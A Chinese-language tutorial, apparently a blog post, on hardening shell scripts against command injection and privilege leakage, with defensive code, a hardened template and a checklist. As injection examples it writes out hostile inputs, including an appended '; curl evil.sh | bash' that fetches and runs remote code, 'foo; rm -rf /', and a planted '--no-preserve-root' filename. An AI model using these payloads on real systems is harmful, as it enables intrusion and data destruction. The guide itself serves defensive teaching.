☰
Shell脚本安全加固:从注入攻击到权限泄露的防御实践
2026/10/13 10:40:15 网站建设 项目流程

凌晨两点半,某公司运维值班群突然炸了:一台用于资源调度的跳板机CPU飙到100%,登录上去发现 /tmp 目录下多了一个陌生的可执行文件,crond 里还被写入了一条下载执行的定时任务。溯源时我把命令日志翻了个底朝天,最后定位到内部一份部署脚本——脚本里有一行把用户可控参数直接拼进 bash -c 的调用,既没做白名单校验,也没加引号。攻击者传了一个带命令替换的参数,就在目标机器上执行了任意命令。

这事儿给我的冲击很大。Shell脚本安全加固听起来像安全团队的事,可实际上,写脚本的人天天就在“造武器”和“留下漏洞”之间一线之差。所以这一章我把踩过的坑、梳理过的攻击链、验证过的加固手法一起整理出来,围绕注入攻击与权限泄露两个核心话题,聊一些可以直接抄的防御写法。不管你是运维、后端还是CI流水线维护者,都值得花十分钟看完,然后回头检查一下自己手头的脚本。

1. 为什么你的Shell脚本在“无意间”泄露权限——常见误区盘点

很多人觉得“泄露权限”是数据库拖库、Web漏洞那些事,跟Shell脚本八竿子打不着。但我在真实环境里排查过的问题,绝大多数不是被什么高级漏洞打穿的,而是一堆看起来无害的脚本习惯叠加出来的结果。每次处理完这类事故,我都会把责任归到几个反复出现的误会上。

1.1 误区一:“脚本是自己用的,不需要防线”

这是最普遍的心态。写了个deploy.sh、backup.sh、health_check.sh,觉得反正只有自己会用,或者只有内网能访问,就把输入参数直接拿来拼命令。可现实里,脚本的调用入口远比你想象的多:crontab会调用它,Jenkins/GitLab CI会调用它,监控系统会调用它,甚至一个Webhook都会把它拉起来。你写的时候以为是“自己人传参”,运行时却可能面对来自外部HTTP请求的输入。

我就遇到过这样一个例子:某团队做了一个内部Web工具,用户填一个IP,后端调Shell脚本去ping。脚本写的是ping -c 1 $ip,没校验、没引号。后来别人传了一个带$()的参数,等于在服务器上执行任意命令。他们自己都觉得冤:“这脚本当初是给自己手敲命令用的啊。”

在安全领域,凡是会吃外部输入的脚本,一律不能假设对方是好人。这不是针对谁,是Shell的解析规则决定的。

1.2 误区二:图省事,谁跑都是root

“脚本拷贝到服务器上,用root跑,不然老遇到权限不够的报错。”这句话本身听着就吓人。脚本一旦被注入,攻击者拿到的就是root权限,连提权都省了。

正确做法是给脚本创建一个专用账号,权限只给到它必须操作的目录和命令。比如备份脚本需要一个能读数据库、能写备份目录的账号,那就建一个backup用户,Shell脚本在crontab里用sudo -u backup或单独的服务账号去跑。少给一个权限,注入后的破坏半径就小一圈。

1.3 误区三:引号可有可无

在Shell里,$var和"$var"看起来差不多,但在解析层面差了十万八千里。不加引号,变量展开后会经历单词拆分和通配符展开,一个文件名里带空格,可能被拆成两个参数;一个参数以-开头,可能被当成选项;一行普通文本里混进*,可能被展开成当前目录下的一堆文件名。

这种问题不属于“被外部攻击”,而是脚本自己制造了不稳定性。可一旦目录里被提前放好某个特殊名字的文件,它就会演变成注入攻击。我后面会用专门一章讲文件名这类暗门。

1.4 误区四:日志越全越好

脚本把每一步都echo出来,错误时还把用户输入回显到日志里,看起来方便排查,实际上是在帮攻击者做记录伪造。用户输入里可以带换行符,往日志里塞几行伪造的成功记录,排查时你根本分不清哪条是真的。

更糟的是把密码、Token直接打进日志。有一次排查一个导出脚本,发现日志里明晃晃写着云平台的AccessKey,再看权限,日志文件还是644,相当于把密钥贴在了墙上。

1.5 误区五:脚本只写不维护,交付不校验环境

同一份脚本在CentOS和Debian上跑,bash和sh行为都不同;调用方如果把IFS改了,脚本里的for循环可能整个乱掉;如果PATH被改成优先加载恶意目录,脚本里写的curl、python都可能被替换成同名恶意程序。

一个合格的脚本应该像一份部署文档:开头显式声明用哪个解释器,设置安全默认值,不依赖调用方给的环境状态。这样脚本在谁手里跑,行为都一致。

这五点不是孤立问题,它们经常串联起来造成事故。想明白了这些误区,再看注入攻击发生的路径,就顺理成章了。

2. 注入攻击在Shell脚本中到底怎么发生的:三条真实攻击链

我拆解过不少被攻破的Shell脚本场景,发现注入攻击发生的方式看似千变万化,根子就那么几条。把攻击链画出来讲清楚,比背一百条安全规则有用。

2.1 攻击链一:参数被拼进eval或远端Shell,等于把枪交给别人

先看一段典型问题代码:

url=$1 eval "curl -s $url"

如果用户输入的是http://example.com; echo hacked,eval 执行时,分号是Shell的合法命令分隔符,于是curl执行完后,紧跟着就会执行echo hacked。换成$(id)、反引号、&&、|,效果也一样。因为在 eval 的上下文里,你输入的不再是普通字符串,而是会被重新做一遍词法分析、命令解析的代码。

同样的道理适用于bash -c "..."、sh -c "...",也适用于ssh user@host "命令"。ssh 会把命令字符串传给远端Shell再次解析,本地拼接进去的分号、竖线、命令替换,在远端统统有效。我见过一个巡检脚本把所有服务器IP拼成一个远程命令字符串,再统一ssh过去执行。表面上只传IP,攻击者把IP后面接上; curl evil.sh | bash,远程主机就被种了后门。

这类注入的本质是:你把不可信的数据,放进了会被反复解释执行的上下文中。只要不在这个上下文里放任何外部输入,或者严格限制输入格式,问题就断根。

2.2 攻击链二:不加引号的展开把文件名变成了参数

第二种攻击链没有eval那么“激烈”,但它更隐蔽,也更好触发。举个例子:

dir=$1 rm -rf $dir/*.log

假设dir传入的是某个临时目录,目录里恰好有一个文件叫--no-preserve-root。通配符展开后,rm看到的参数开头有一个--no-preserve-root,它会把这个选项当作“不做根保护”的开关。接下来扫描到别的参数时,删除行为就可能突破原本的限制。整个过程不需要任何人执行eval,纯粹是Shell的词法展开顺序在作祟。

再比如:

ls $pattern

用户传-l /etc/passwd,ls 收到的参数不是“查找名为-l /etc/passwd的文件”,而是“以长格式列出 /etc/passwd 文件”,直接就信息泄露了。

我不止一次在真实代码里见到这种写法。写的人觉得变量就是要不加引号才方便,却忽略了Shell展开后还要做一轮单词拆分和路径展开,结果你的参数根本不是你以为的那个参数。

2.3 攻击链三:循环读取数据时字段错位与转义丢失

这类注入常见于脚本去读配置文件、CSV、主机列表、日志文件,再逐行处理:

while read line; do ssh "$line" "uptime" done < hostlist.txt

hostlist.txt 理论上只有主机名,但谁能保证这个文件没被改过?如果某一行内容是127.0.0.1; curl evil.sh | bash,ssh 把这整串作为远程命令的一部分,攻击就成立了。即使不是恶意文件,日常也经常见到包含了空格的主机名或路径导致循环逻辑出错。

还有更隐蔽的转义问题:read默认会把反斜杠当作转义字符,数据里的\t、\n都可能被吞掉。要用read -r才能保留原始字符。同理,处理文件列表而不用find -print0和read -d '',遇到带空格甚至换行的文件名,脚本立刻“破功”。

三条攻击链总结下来,核心就一句话:Shell认为它看到的特殊字符和你想的不一样。你以为在传数据,Shell以为在传语法。理解了这一点,防御手段就不是死记硬背,而是顺着解析规则去设计。

3. 从源头拦截命令注入:引号、数组、白名单与禁用eval

知道了攻击链,就得对症下药。这一章给出的拦截手法,每一招我都按“能落地、不折腾”的标准筛选过。

3.1 引号到底在防什么:先理解Shell的二次展开

很多人把引号当成“防空格”用的,这是大错。引号真正的作用是控制Shell的展开时机。

Shell对一条命令的处理顺序大致是:先做变量展开、命令替换、算术展开,然后对未加引号的结果做单词拆分和通配符展开,最后才把结果转交给命令执行。加了双引号,单词拆分和通配符展开就不会发生在那一部分结果上。

举个例子,一个文件是my photo.jpg:

rm $file # 拆成 rm my photo.jpg,删除两个文件,报错 rm "$file" # 完整路径传给 rm,正确

"$file"保证了变量展开后的内容是一个整体参数,不会再被拆。这是所有Shell加固里性价比最高的一条习惯:凡是变量引用,默认加双引号,除非你有明确理由不加。

但双引号不是万能药。双引号里的$()和反引号照样会执行命令替换,比如echo "$(id)"依然会执行id。要告诉读者:双引号防的是单词拆分和路径展开,不是防命令替换。如果变量内容本身是外部输入,同时你又把它放进 eval、bash -c 这类上下文,双引号也拦不住。所以引号只是第一道闸,不是全部。

3.2 数组与“--”:让参数保持完整原型

当命令需要接收多个参数,尤其是参数来自列表时,数组是最接近“参数原型”的数据结构。

hosts=("$@") for h in "${hosts[@]}"; do ping -c 1 -- "$h" done

"${hosts[@]}"会把数组每个元素作为一个独立参数传递,元素内部无论带空格还是带$、;,都不会再被拆分。数组加双引号的写法,比任何字符串拼接都可靠。

再介绍一个容易被忽略的符号:--。它告诉命令“后面所有内容都不是选项,而是操作数”。比如文件以-开头:

rm -- "$filename" cat -- "$filename"

没有--的话,-abc会被误认为选项。用--之后,特殊文件名就只是文件名了。

不是所有命令都支持--,但绝大多数GNU工具都支持,不确定时用command --help或手册确认一下。对不支持--的极少数情况,绝对路径加前缀是另一种解决办法,比如rm ./-file。

3.3 白名单校验:与其过滤坏字符,不如声明好字符

过滤危险字符是常见的错误思路:黑名单永远列不全,今天过滤了;,明天还有|、$()、反引号、换行符。正确做法是白名单:只允许你预期中的合法格式,其他一律拒绝。

以IP校验为例:

input=$1 if [[ "$input" =~ ^[0-9]{1,3}(\.[0-9]{1,3}){3}$ ]]; then echo "合法IP" else echo "非法输入,退出" exit 1 fi

这个正则只接受点分十进制的数字IP,不认分号、不认字母、不认管道符。看起来“严格了”,实际上是最省心的:凡是进不到正则里的输入,根本走不到后面的命令执行阶段。

如果输入是主机名、路径、用户名,同样可以设计对应的白名单。宁可校验失败让脚本报错,也不能把一个格式可疑的字符串放进命令里。我的习惯是:脚本入口统一校验,校验不过就退出,不要试图去“聪明地清洗”,清洗逻辑本身就是新的漏洞来源。

3.4 与eval彻底告别:动态执行的三种替代方案

eval 是命令注入的温床。凡是能不用eval的地方,都不要用。我列几个常用替代方案。

第一种,用数组存参数,再直接展开命令。比如要动态选择ping还是ping6:

cmd=(ping -c 3) [[ "$ip" == *":"* ]] && cmd=(ping6 -c 3) "${cmd[@]}" -- "$ip"

命令本身可以是数组的首个元素,参数跟着塞进去,执行时"${cmd[@]}"整体展开,干净又安全。

第二种,用case分支替代动态命令拼接。需求是“根据环境变量执行不同命令”,看起来像要拼一个字符串,其实case最简单:

case "$action" in start) service_script start ;; stop) service_script stop ;; *) echo "未知操作"; exit 1 ;; esac

每个分支都是写死的命令,没有拼凑过程,等于没有注入空间。

第三种,实在绕不开eval,考虑用Bash 4.4+提供的参数转义运算符:${var@Q}。它会把变量内容转义成安全可重解析的形式,再放进eval。但它只是兜底手段,不是推荐用法。

input='foo; rm -rf /' eval "echo ${input@Q}" # 输出字面量,不会执行分号命令

总之,先问自己“我真的需要动态构造命令吗”,大多数答案是不需要。多数需要动态构造的场景,用数组、case、函数分支就能解决。

4. 文件名与临时文件里的暗门:通配符、换行与竞态攻击

上一章拦住了“显式注入”,但Shell世界里还存在一批通过文件系统做文章的注入方式。它们不直接出现在命令行上,而是潜伏在文件名和临时文件里,往往被人当成“环境问题”直接忽略。

4.1 通配符注入:rm * 可能删掉的不是你以为的东西

通配符注入又叫“glob注入”,原理是Shell在展开*时会把目录里的文件名原样放进命令行。如果文件名的开头是-,它就可能被目标命令识别为选项。

最经典的场景是:

rm -rf *

假如当前目录被某个攻击者提前放了一个名为--no-preserve-root的文件,展开后的命令变成了:

rm -rf --no-preserve-root [其他文件名...]

rm收到--no-preserve-root后,对根目录的保护就被关掉了。后续扫到的其他参数会继续被当作路径递归删除。原本只想清理工作目录,却可能一路删出问题。

解决办法很简单:

rm -rf ./* # 强制给展开结果加 ./ 前缀,文件名变成 ./-xxx,不再是选项 rm -rf -- * # 或者用 -- 明确终止选项解析

当你处理不可信目录下的通配符时,最保险的做法是直接禁用路径展开:

set -f # 关闭glob for f in "$dir"/*; do ... done set +f

关闭之后"$dir"/*就是字面星号,不会随便把目录里名字奇怪的写进参数。用的时候记得用完恢复,或者把set -f放在脚本开头一直开启,按需手动展开。

4.2 临时文件竞态:固定路径就是给攻击者递棍子

写脚本的人特别爱用固定路径做临时文件,比如TMPFILE=/tmp/tmp.$$。可/tmp是全局可写的,攻击者可以提前在/tmp/tmp.12345放一个符号链接,指向某个高权限文件。脚本往临时文件里写数据时,数据就流向了攻击者指定的位置;脚本读取临时文件时,也可能读到攻击者预置的内容。这就是TOCTOU(Time of Check to Time of Use)竞态攻击。

标准答案是mktemp,它会在/tmp下生成一个随机名字的目录或文件,并且保证这个名字是全新的,不存在被预先占用的可能:

tmpdir=$(mktemp -d) chmod 700 "$tmpdir" trap 'rm -rf "$tmpdir"' EXIT

这几行连起来的含义是:生成一个只有当前用户可访问的随机临时目录,脚本无论正常结束还是异常退出,都会通过trap清理干净。对写临时日志、中间文件、锁文件来说,这套组合拳足够稳妥。

临时文件上的另一个坑是“锁文件”。很多人用固定文件去模拟单实例锁:

if [ -e /tmp/app.lock ]; then exit 0; fi touch /tmp/app.lock

这有几个问题:文件可能因为进程崩溃残留,导致后续永远无法运行;也可能被替换成符号链接,touch操作就会落到别人的文件上。更可靠的做法是用mkdir来当锁,因为mkdir是原子操作,失败就说明锁已存在:

lockdir=/var/lock/app if ! mkdir "$lockdir" 2>/dev/null; then echo "已有实例在运行" exit 0 fi trap 'rmdir "$lockdir"' EXIT

mkdir原子性保证不会出现“两个进程同时抢锁”的状态。

4.3 恶意文件名的正确吃法:find -print0 与 read -d

文件系统里允许出现很多刁钻字符:空格、换行、反斜杠、以-开头。如果脚本拿文件名做循环,默认的for f in $(ls)或while read f都会遇到问题。

最稳妥的文件列表处理姿势:

find "$src_dir" -type f -print0 | while IFS= read -r -d '' f; do handle_file "$f" done

-print0让 find 用空字符而不是换行来分隔文件名,read -d ''也让 read 以空字符作为分隔读取。两者配合,任何带换行、空格、特殊符号的文件名都能被完整保留下来。

如果要在脚本里读取普通文本文件的每一行,也是同样的原则:

while IFS= read -r line; do ... done < input.txt

IFS=防止前后空白被吞掉,read -r防止反斜杠被转义。这两个细节看起来小,却是大量脚本bug和安全问题的共同源头。

5. 权限泄露不只是chmod:umask、PATH、环境变量与运行身份

终于聊到权限泄露这个主题了。很多人以为权限泄露就是“某个文件权限给太宽”,但在我经历过的实际案例里,权限泄露的渠道五花八门,有些甚至和文件权限没关系。

5.1 硬编码密钥与ps泄露:最触目惊心的一类泄露

最可怕的一种做法是把云平台AccessKey、数据库密码、API Token直接写死在脚本里。脚本一旦被同步到Git仓库,哪怕后来删了,git历史里还留着;脚本一旦被打包进容器镜像,镜像每一层都能翻出来。

退一万步讲,就算脚本存在服务器上,用环境变量传密钥也未必安全。你可能写过这种调用方式:

SECRET=abc123 ./deploy.sh

SECRET=abc123作为环境变量会被子进程继承,而任何在同一时刻执行ps e的用户,都能看到别的进程的环境变量。普通的ps aux里,这样一行密钥直接暴露在所有人面前。

更安全的使用方式是运行时交互输入:

read -r -s -p "请输入数据库密码: " dbpass

-s让输入不回显,密码不会出现在终端和shell历史里。脚本里要用密码时,直接用变量,而不是把它写进命令参数。如果必须自动化运行,把密钥放到权限600的独立文件里,脚本启动时读取,用完立即退出。对云平台的密钥,如果能用专门的密钥管理服务,就不要自己管理文件。

5.2 umask与文件权限:让临时产物守住默认底线

脚本运行过程中会产生很多新文件:日志、临时目录、导出数据。这些文件的默认权限由umask决定。一般系统默认是022,也就是创建文件默认644、目录755。目录还好说,配置文件、日志文件如果带敏感数据,644等于同组和其他用户都能读。

安全脚本的正确做法是在开头显式设置:

umask 077

这会让新建文件默认600、目录700,除创建者谁都看不到。涉及密钥、备份、临时数据的脚本,这个设置几乎是必须的。如果某份日志需要给其他程序读,再单独chmod 644,而不是反过来先放开再收窄。

创建敏感文件时,用install比cp、touch更合适,因为可以同时指定权限:

install -m 600 /dev/null secret.conf

想复制模板但又不想改源文件权限,install -m 600 src.conf dst.conf一步到位。

5.3 PATH、IFS与BASH_ENV:环境本身也能被投毒

脚本运行的环境不是一个“干净沙箱”,它继承了调用方的各种环境变量。这些变量一旦被污染,脚本内部使用的外部命令就可能被替换。

最常见的是PATH注入。攻击者如果能控制脚本运行时的PATH,比如加一个/tmp/evil放在最前面,脚本里写的curl、ls、python,都可能执行到恶意程序。解决方案有两种:脚本开头重设PATH,或对关键命令使用绝对路径。

export PATH='/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'

重设PATH的副作用是脚本依赖的自定义工具可能找不到了。所以更精细的做法是只对敏感命令用绝对路径,比如/usr/bin/ssh、/bin/rm、/usr/bin/curl。

还有一个容易被忽略的变量:IFS(Internal Field Separator),它决定Shell按什么字符做单词拆分。默认是空格、制表符、换行。如果有人在调用环境中把IFS设置成了逗号等异常字符,脚本里的for x in $list逻辑会瞬间全乱,可能把不需要执行的字段都当成了命令。稳妥做法是在脚本开头写死:

IFS=$' \t\n'

另外,Bash非交互Shell也会在启动时读取BASH_ENV指向的文件,sh则读取ENV。如果这两个变量指向一个恶意文件,脚本每启动一次,就会先悄悄执行一次恶意代码。脚本开头不需要处理它,但要清楚:尽量让脚本在受控的、可预期的环境中运行,所以cron任务里设置干净环境、systemd服务里用Environment=限定最小环境,都是好习惯。

5.4 最小权限运行:普通用户加限定sudo才是常态

权限泄露的最后一道防线是“脚本以什么身份运行”。如果所有脚本都用root跑,一次注入等于直接沦陷。正确思路是给脚本单独账号、单独权限,只让它碰必须碰的东西。

假设有一个重启应用的脚本,我建议的做法是:

  1. 创建一个专用账号,比如appdeploy
  2. 把应用目录和日志目录归属权给它,设置合理的目录权限
  3. 配置sudo白名单,只允许该账号执行特定命令,而不是所有命令

sudoers 可以写成这样:

appdeploy ALL=(ALL) NOPASSWD: /usr/bin/systemctl restart app

这条规则只允许appdeploy账号以root身份执行重启app这一个命令。它不能修改其他服务,不能执行任意Shell。万一脚本被入侵,攻击者能做的事情也被限制在重启应用这个范围里。

要特别注意:sudoers 里不要滥用通配符,比如sudo /usr/bin/vi *这种规则等于给了任意文件编辑能力,用户完全可以写/etc/passwd。越是“图省事”的sudo规则,越容易变成提权后门。

6. 从零落到生产:一份可复制的加固模板与自检清单

前面的内容都是“道理”,这一章我给一份可以直接当脚手架的模板,以及一份上线前逐项打勾的自检清单。照抄不会让你立刻变成安全专家,但能让你写出“不会一出事就被定性为责任方”的脚本。

6.1 加固脚本模板逐行拆解

#!/usr/bin/env bash set -Eeuo pipefail # 出错即停,未定义变量即报错,管道任一失败即失败 IFS=$' \t\n' # 锁定字段分隔符,避免被外部环境干扰 umask 077 # 新文件默认600,新目录默认700 export PATH='/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin' log() { printf '[%s] %s\n' "$(date '+%F %T')" "$*" >&2 } die() { log "FATAL: $*" exit 1 } usage() { printf '用法: %s <目标主机>\n' "${0##*/}" >&2 exit 1 } check_host() { local host=$1 [[ "$host" =~ ^[a-zA-Z0-9.-]+$ ]] || die "非法主机名: $host" } main() { [[ $# -eq 1 ]] || usage local host=$1 check_host "$host" ping -c 1 -- "$host" >/dev/null || die "ping失败: $host" log "健康检查通过: $host" } main "$@"

逐行解释一下重点。

set -Eeuo pipefail是加固脚本的默认开局。-e让命令一失败就退出,-u让未定义变量直接报错退出,-o pipefail让管道中任何一个命令失败都算整条管道失败,-E让ERR信号在函数和子Shell中也能被trap捕获。这一行能拦下大量低级错误。

它的局限也要清楚:set -e不会阻止条件上下文中的失败,比如if false; then里的false不会导致退出;local x=$(false)这种赋值里命令失败也不会被捕获。所以它不是万能保险,是在前面那些引号、白名单、数组之上再加一道保险。

IFS=$' \t\n'把字段分隔符锁成默认值,避免脚本被调用方环境的IFS影响。umask 077保证脚本产生的临时文件别人读不到。这两行都是“环境防御”,往往被忽略,却总能救你一次。

check_host函数用白名单正则校验输入,只有字母、数字、点、连字符被认为是合法主机名。任何分号、管道符、$()都会直接拒绝。这是整份脚本最关键的一道闸门。

ping -c 1 -- "$host"里,--明确告诉ping后面内容是操作数,不是选项。如果host恰好以-开头,也不会被解释成ping的参数。

模板虽然只演示了ping,但结构可以扩展。凡是脚本要接收输入、生成临时文件、调用外部命令,都能在这个骨架上继续长。

6.2 上线前自检清单

我整理了一份可以直接打印出来贴显示器上的自检表,每一项都对应前面的一个坑:

检查项合格标准
变量引用所有变量默认双引号,数组用"${arr[@]}"
动态执行无eval、无bash -c拼接用户输入;ssh命令不拼字符串
输入校验入口有白名单校验,不合法直接退出
文件名处理通配符用./*或--,关闭glob用set -f
临时文件使用mktemp -d,配合trap清理;锁用mkdir而非touch
读取数据循环用IFS= read -r,文件列表用find -print0
脚本权限无硬编码密钥,密钥存600文件或密钥管理服务
默认权限脚本开头umask 077
运行身份使用专用账号,sudo白名单到具体命令
环境变量PATH重设或关键命令绝对路径,IFS显式锁定
日志不回显密码,不打印敏感参数,用户输入不被伪造
静态检查通过shellcheck无高危告警

这十二项不需要一条条背,但上线前过一遍,能挡住百分之八九十的脚本安全问题。每一条都有对应的修复方式,修起来也不费劲,关键是你在写的时候有没有这个意识。

6.3 shellcheck与shfmt:让工具帮你兜住低级错误

最后推荐两个实用工具,它们能让加固工作事半功倍。

第一个是shellcheck,它专门做Shell脚本静态检查。很多安全问题其实早就有代码风格层面的表象,比如变量没加双引号,它直接报SC2086;变量未定义,报SC2154。在你还没有养成条件反射之前,让shellcheck在CI里跑一遍,相当于给脚本请了个安全审查员。

shellcheck deploy.sh

用法很简单,severity参数可以控制报警等级,通常建议把error和warning级别的告警全部清零再上线。shellcheck不是万能的,逻辑型漏洞它管不了,但语法层、引用层、常见误用层的问题,它能帮你兜住大部分。

第二个是shfmt,它做格式化。很多人觉得格式化跟安全没关系,但代码可读性直接影响审查质量。一个被shfmt规整过的脚本,别人做Code Review时更容易发现异常拼接、漏引号。安全需要“看得见”,垃圾排版掩盖的坑往往最后才暴露。

这两个工具都不复杂,装好后记得放进CI或pre-commit钩子里,让它们成为团队的默认门槛,而不是个人可选动作。

这套加固思路我维护了挺久,第77章的内容删删改改,最后还是想分享一个真实感受:安全加固不是“加一行参数”的事,而是你每次写下$var时,下意识停顿一下的功夫。把容易出错的写法从肌肉记忆里删除,才是真正的加固。下次再有人跟你说“这个脚本在内网跑没事”,你就把他请到那台跳板机前面坐一会儿,然后继续老老实实给变量加引号。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询